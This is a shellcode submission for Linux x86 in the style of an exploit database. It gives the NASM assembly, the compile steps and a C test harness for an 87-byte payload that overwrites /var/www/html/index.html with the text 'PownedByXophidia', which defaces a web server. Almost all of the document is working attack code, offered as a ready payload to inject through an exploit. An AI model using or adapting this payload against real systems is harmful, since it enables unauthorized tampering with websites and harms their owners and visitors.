x86_apache

/*
;Title: Linux/x86 - Change the content of /var/www/html/index.html with your own text
; Author: Menelet Alain
; Contact: https://github.com/xophidia
; Category: Shellcode
; Architecture: Linux x86
; Length: 87 bytes
 
 
=================COMPILATION AND EXECUTION===============
 
#nasm -f elf32 shell.asm -o shell.o <=== Making Object File
 
#ld -m elf_i386 shell.o -o shell <=== Making Binary File
 
#./compile.sh shell <== compile and extract hex code from the binary(
https://github.com/xophidia/Shellcode)
 

=================SHELLCODE(INTEL FORMAT)=================
 
global _start

section .text

_start:

; create a new file
xor eax, eax
push eax
push 0x6c6d7468
push 0x2e786564
push 0x6e692f6c
push 0x6d74682f
push 0x7777772f
push 0x7261762f
mov ebx, esp
mov cx, 0x2bc		; use S_IRWXG option (read, write and execute permission
mov al, 0x8
int 0x80

; write
mov ebx, eax ;file descriptor
xor eax, eax
push eax
push 0x61696469		; text you want to write
push 0x68706f58
push 0x79426465
push 0x6e776f50
mov ecx, esp
mov dl, 16
mov al, 4
int 0x80

;close file
xor eax, eax
mov al, 6
int 0x80

;exit
xor eax, eax
inc eax
int 0x80
 
===================END HERE============================
 
Compile with gcc with some options.
 
# gcc -m32 -fno-stack-protector -z execstack shell_web.c -o shell_web

*/

#include <stdio.h>
#include <string.h>


const char code[] = \
"\x31\xc0\x50\x68\x68\x74\x6d\x6c\x68\x64\x65\x78\x2e\x68\x6c"
"\x2f\x69\x6e\x68\x2f\x68\x74\x6d\x68\x2f\x77\x77\x77\x68\x2f"
"\x76\x61\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08\xcd\x80\x89\xc3"
"\x31\xc0\x50\x68\x69\x64\x69\x61\x68\x58\x6f\x70\x68\x68\x65"
"\x64\x42\x79\x68\x50\x6f\x77\x6e\x89\xe1\xb2\x10\xb0\x04\xcd"
"\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\x40\xcd\x80";

int main()
{

	printf("taille %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

	return 0;

}